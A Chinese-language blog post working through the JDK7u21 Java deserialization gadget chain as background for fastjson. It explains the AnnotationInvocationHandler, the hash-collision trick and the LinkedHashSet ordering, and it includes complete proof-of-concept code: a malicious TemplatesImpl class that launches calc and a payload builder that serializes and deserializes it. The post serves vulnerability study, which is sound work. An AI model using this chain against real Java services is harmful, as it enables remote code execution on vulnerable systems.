JDK7U21学习

前言

我们知道fastjson1.2.4版本的反序列化会用到这个链,但是这个漏洞的现在直接利用估计很难找到了,但是还是有很多值得学习的特性,所以来学习一下当做fastjson的前置知识。

漏洞分析

漏洞核心

本链核心点其实是在AnnotationInvocationHandler 类的equalsImpl方法中invoke方法

image-20220212201446657

memberMethod 来自于this.type.getDeclaredMethods() 也就是说, equalsImpl 这个方法是将 this.type 类中的所有方法遍历并执行了。那么,假设this.type 是Templates类,则势必会调用到其中的 newTransformer()getOutputProperties()
方法,进而触发任意代码执行

那谁又调用了equalsImpl

image-20220212201547277

学了CC1我们知道lazymap调用get调用过这个类的invoke方法,也就是动态代理,所以这里也就不在阐述,我们发现执行他是有一定的条件。

  • 用的方法名是equals,并且为Object类型

所以可以写出一个POC

恶意类

public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() throws IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, InterruptedException {
        super();
//        Thread.currentThread().sleep(10000L);
        Runtime.getRuntime().exec("calc");
    }
}
public class jdk7u21_test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Map map = new HashMap();
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);
        Override proxy = (Override)  Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);
        proxy.equals(templates);
    }
}

而一般调用用equals的场景就是集合set,因为他不允许重复,所以我们去看下Hashset

image-20220212213526286

hashset会调用hashmap.put方法

//这个key,就是我们传入的元素,value是一个固定值木有用。
public V put(K key, V value) {
        //key不能为null
        if (key == null)
            return putForNullKey(value);
        //计算key的hash值
        int hash = hash(key) ;
        int i = indexFor(hash, table.length);
        // 遍历已有的元素
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            //本意是判断最新的元素是否已经存在的元素
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                //如果是已经存在的元素,就返回已经存在的value。不插入。
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        //如果不是已经存在的元素,就插入到table中
        addEntry(hash, key, value, i);
        return null;
    }

所以我们只用看if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {这句语句。(e为前一个元素,key为当前元素)

如何做到让两个hash相等?我们查看下hash方法

final int hash(Object k) {
        int h = 0;
        if (useAltHashing) {
            if (k instanceof String) {
                return sun.misc.Hashing.stringHash32((String) k);
            }
            h = hashSeed;
        }

        h ^= k.hashCode();
//可以发现的是调用了hahscode
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

但是有一个问题我们TemplatesImpl类自实现hashcode方法。那如何解决了,因为调用的时候也会进入invoke方法

image-20220212214427124

跟进这个方法

    private int hashCodeImpl() {
        int result = 0;
        for (Map.Entry<String, Object> e : memberValues.entrySet()) {
            result += (127 * e.getKey().hashCode()) ^
                memberValueHashCode(e.getValue());
        }
        return result;
    }

因为我们的目的是为了proxy和恶意类TemplatesImpl的hashcode相等嘛

而key和value我们是可控的,因为传入this.memberValues正是我们的map,所以我们只需要可控的hashcode==0就可以,因为0 ^ n = n。也就是如下:

127 * 0 ^ TemplatesImpl的hashCode == TemplatesImpl的hashCode

关于非空字符串hashcode为0的一些研究:

https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero

所以我们就可以直接构造出POC

public class jdk7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());



        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put("f5a5a608", "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去

        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put("f5a5a608", templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

疑问

为什么我们要用LinkedHashSet

LinkedHashSet类继承自Hashset,具有Hashset的全部特点:元素不重复,快速查找,快速插入。新增的特性是有序,数据结构上使用双向链表实现

因为我们要满足proxy.equals(templates);所以传参需要一个有序集合{templates,proxy}才能满足proxy.equals(templates)这一句触发语句,如果是普通集合就不一定会符合这个顺序。例如使用hashset

image-20220213113025955

参考

p牛java漫谈
https://xz.aliyun.com/t/6884#toc-13
https://www.freebuf.com/vuls/175754.html
posted @ 2022-02-13 11:38  R0ser1  阅读(77)  评论(0编辑  收藏  举报